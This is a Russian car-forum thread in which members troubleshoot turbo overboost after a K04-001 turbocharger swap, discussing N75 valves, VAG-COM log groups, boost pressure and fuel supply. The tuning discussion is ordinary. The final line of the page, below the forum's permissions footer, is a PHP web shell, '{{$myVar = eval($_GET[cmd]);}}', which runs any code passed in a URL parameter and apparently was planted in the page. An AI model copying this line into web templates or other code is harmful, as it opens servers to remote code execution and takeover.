+ Ответить в теме
Страница 1 из 17 1 2 3 11 ... ПоследняяПоследняя
Показано с 1 по 10 из 170

Тема: Поставил 04-001 при тапке в пол Передув.....почему?(((


  1. #1
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780

    Поставил 04-001 при тапке в пол Передув.....почему?(((

    Вообщем тема такая, вчера поставили новую турбину 04-001, все встало без переделок и т.п
    Сегодня залили софт, 4 программы
    1. СТОК
    2. АИ95
    3. АИ98
    4. АИ 102 или 104 х.з..) ) )

    на стоке вроде едет не плохо, резво все норм.
    Как только переключаешь на 2 или 3тью прогу давление начинает делать мозг
    Турба надувает 24пси что есть примерно 1.7 бара, авто не едет, ощущение что мозг режет топливо, себя ведет как на скользкой дороге с невыключенным ESP
    Ты газу, а машина как будто захлебывается... ну типа такие ощущения.
    Дует 24-25 и не сдувается, педаль отпускаешь потом плавно жмешь, набирает плавно обороты, если топнуть по педали, разгон и в какойто момент опять как плюнет на 25Psi и все...
    Сначала была ошибка по передуву( превышено максимальное допустимое давление)
    Ошибку стер больше не появлялась
    Пока ехал до дома, сплошные пробки, но на некоторых участках пробовал дать под зад, ехала хорошо...
    Вообщем кто что думает?
    Есть идея что врет датчик абсолютного давления который в кулере стоит..
    N75 сток
    Фишку скидывали, дует 0.4 и все путем...т.е шток актуатора в порядке

    Добавлено через 14 часов 48 минут
    и тишина....
    Последний раз редактировалось inVENTOr; 21.04.2011 в 11:38. Причина: Добавлено сообщение
    BMW 330D POWERED by Dizelboost :pepper:

  2. #2
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Саше, Alersandr922 у него тоже самое было, у него прога отлажена уже
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

  3. #3
    Слав , лучше с Димой все проблемы решать , так правильнее будет .Те кто ставил к04-001 год, два года назад - наверняка уже на других машинах . Это все окончиться дальнейшей перестройкой с увеличением табуна . Будет мало через месяц

    Добавлено через 2 минуты
    Цитата Сообщение от Pavlo Посмотреть сообщение
    Саше, Alersandr922 у него тоже самое было, у него прога отлажена уже
    ----- Павлух , на счет отлажена - я бы так не сказал
    Последний раз редактировалось Alexandr 922; 21.04.2011 в 12:36. Причина: Добавлено сообщение

  4. #4
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    Слав , лучше с Димой все проблемы решать , так правильнее будет .Те кто ставил к04-001 год, два года назад - наверняка уже на других машинах . Это все окончиться дальнейшей перестройкой с увеличением табуна . Будет мало через месяц

    Добавлено через 2 минуты


    ----- Павлух , на счет отлажена - я бы так не сказал
    Ну лучше по крайней мере чем раньше
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

  5. #5
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    да я не за табунами гонюсь:) просто датчик показывает 24Пси а ваг ком показывает что давление равно тому что запрашивает прога:) вот отсюда не состыковка, передув и аварийный режим, давление 0 или не больше 5 пси
    Датчик N75 от екс(наверное J) передув ваще жосткий, ставишь сток чуть лучше, но передув есть на 3 передаче при тапке в пол, пердит но не едет:)
    если разгон плавный с 5 передачи, то передува нет а вот если резко топнуть то сразу на 24-25пси, это около 1.7 бара избытка... а по ваг кому показывает что давление в норме просит 2.53 и дает 2.51 бара, а по факту передув
    BMW 330D POWERED by Dizelboost :pepper:

  6. #6
    GTI-Racing dus72 is on a distinguished road Аватар для dus72
    Регистрация
    24.02.2009
    Откуда
    Tyumen
    Машина
    AUDI S4 B6 2.7t
    Сообщений
    409
    надо выкинуть не родной н75
    и снять логи 115 114 группы - скорее всего ошибка вылазить при тапке в пол в момент когда у турбы есть свобода которую начинает гасить н75й клапан но потому как он не очень родной у него не очень получается и мозг панкуЭт!

  7. #7
    GTI-Racing HAWK has a spectacular aura about HAWK has a spectacular aura about Аватар для HAWK
    Регистрация
    17.06.2009
    Откуда
    SPB
    Машина
    MK4
    Сообщений
    576
    ЕКС это H клапан. америкосы советуют F, иногда J

    можно поставить "краник". чтоб ограничивал давление
    MKIV GTI AGU-sold
    BMW 120D ///M -pack-sold
    BMW 325 Xi ///M -pack-sold
    AUDI Q3 REVO St.1

  8. #8
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    не, клапан стоит сток, идет передув
    По 115 группе, что мотор просит то давление и дает!
    тут вопрос по 31 группе где лямбды показывают коэффициенты,, при нагрузке в районе 3500-4500 давление 2.5, получаем 1.2-1.4 и по второму значению 0.86 и машина тупит и не едет
    как только обороты переходят в район 5000, идет подхват и коэф 0.83 и 085 соответственно
    В это время давление запрашиваемое 1.650 фактическое 1.700
    карочи есть мысль что нехватка топлива при давке 2.5(абсолютного) т.е 1.5 бар избытка
    Нада насос сменить:)

    Добавлено через 43 секунды
    Цитата Сообщение от HAWK Посмотреть сообщение
    ЕКС это H клапан. америкосы советуют F, иногда J

    можно поставить "краник". чтоб ограничивал давление
    Н клапан самый жесткий?
    У меня в стоке Ф
    Последний раз редактировалось inVENTOr; 21.04.2011 в 22:27. Причина: Добавлено сообщение
    BMW 330D POWERED by Dizelboost :pepper:

  9. #9
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Слав что в итоге? так и передувает?

  10. #10
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    да непонятно чота все... поменял датчик в кулере на другой, без изменений, на стоке ничо не передувает едет на 10пси, около 0.6 - 0.7 бар
    на программе глючит, теперь мысли по топливу, у ВовыВелти была такая же байда, на шкоде, поставили такую же турбу, и машина ехала ровно также как у меня, после 5000 оборотов подхват и прет... ща логи сюда закину..
    Последний раз редактировалось inVENTOr; 21.04.2011 в 23:01. Причина: Добавлено сообщение
    BMW 330D POWERED by Dizelboost :pepper:

+ Ответить в теме
Страница 1 из 17 1 2 3 11 ... ПоследняяПоследняя

Похожие темы

  1. Передув турбины
    от Mult в разделе Двигатель
    Ответов: 22
    Последнее сообщение: 25.11.2013, 16:52
  2. Передув
    от PatrioT в разделе Двигатель
    Ответов: 17
    Последнее сообщение: 13.03.2010, 01:25
  3. Передув?
    от STILL в разделе Двигатель
    Ответов: 5
    Последнее сообщение: 19.01.2010, 21:57
  4. Передув турбины
    от Mult в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 5
    Последнее сообщение: 11.11.2009, 14:05

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}